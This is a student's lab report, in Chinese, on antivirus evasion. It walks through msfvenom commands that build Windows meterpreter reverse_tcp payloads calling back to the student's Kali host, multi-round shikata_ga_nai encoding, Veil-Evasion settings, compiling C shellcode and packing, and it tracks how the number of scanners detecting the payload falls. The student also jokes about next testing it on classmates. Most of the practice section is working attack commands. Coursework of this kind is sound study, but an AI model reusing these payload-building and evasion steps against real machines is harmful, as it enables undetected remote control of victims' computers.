Exp3免杀原理与实践 20154326杨茜
1. 实践内容(3.5分)
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
2 报告内容:
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的? 答:检查特征码和软件某些行为。
(2)免杀是做什么? 答:想办法让杀毒软件检测不出来我的软件是有病毒或者间谍行为。
(3)免杀的基本方法有哪些? 答:改变特征码、加壳、用其他语言再重新编译。
2.2.实践总结与体会
这次实践,感觉蛮简单的。。。就是感觉是在给我们这个后门软件重新包装最后达到杀软检查不出来的效果。但是感觉还是学到了不少。等这个实验结束了,可能就可以拿我同学来做实验了。==
2.3.离实战还缺些什么技术或步骤?
出现的问题是我还是不太懂shellcode里面的那些代码是个啥,以后就算要做都要依靠别人给的代码。。。
2.4.实践过程记录
1.kali的ip地址192.168.146.129
2.Win的ip地址192.168.199.105
3.下载veil-evasion,输入指令sudo apt-get install veil-evasion(然而我的电脑不知道为啥安装不了==)
4.上次试验做的后门程序
5.msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.129LPORT=4326 -f exe > 4326.exe
6.上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。(检测之前把20154326改一个名字,网站提示含有广告关键词就不让上传的。)
现在可以看到20/39的杀毒软件发现有病毒
- 输入指令将文件编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.146.129 LPORT=4326 -f exe > 20154326.exe
再上传到网页去,发现19个引擎报毒,比以前少了一个。。。有点用
- 在在kali中输入指令veil-evasion打开软件,依次输入
use python/meterpreter/rev_tcp (设置payload)
set LHOST 172.30.1.193 (设置为kali的IP)
set lport 4327 (设置端口为4327)
generate (生成)
4327yzh (程序名)
1
下面是我在可以下载安装veil-evasion的同学的电脑上生成的新程序检测结果
现在只有8个引擎报毒了,很好,但是我们想要的结果是没有引擎报错,所以再继续。。
- 用c语言调用shellcode
输入指令使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.131LPORT=4326 -f c ,这里使用kali的ip生成一个c语言格式的shellcode数组。
10.将shellcode字符串复制下来,然后在kaili中随便改一个文件的后缀为.c文件,打开修改这个文件为可运行。再将其转换成可执行文件.exe
11.将.c复制到windows中,编译运行,生成.exe文件。这时候kali用msf监听,并运行刚刚生成的.exe。成功回连。
最后再把这个程序传到网页去扫描
现在引擎查毒的个数直接下降到了6个,耶~~~
11.最后我们来加壳
检查结果和上步是一样的。但是我看到有的同学加壳后反而报毒个数上升,不知道是什么原因。还是希望可以通过老师上课解答这个疑问的!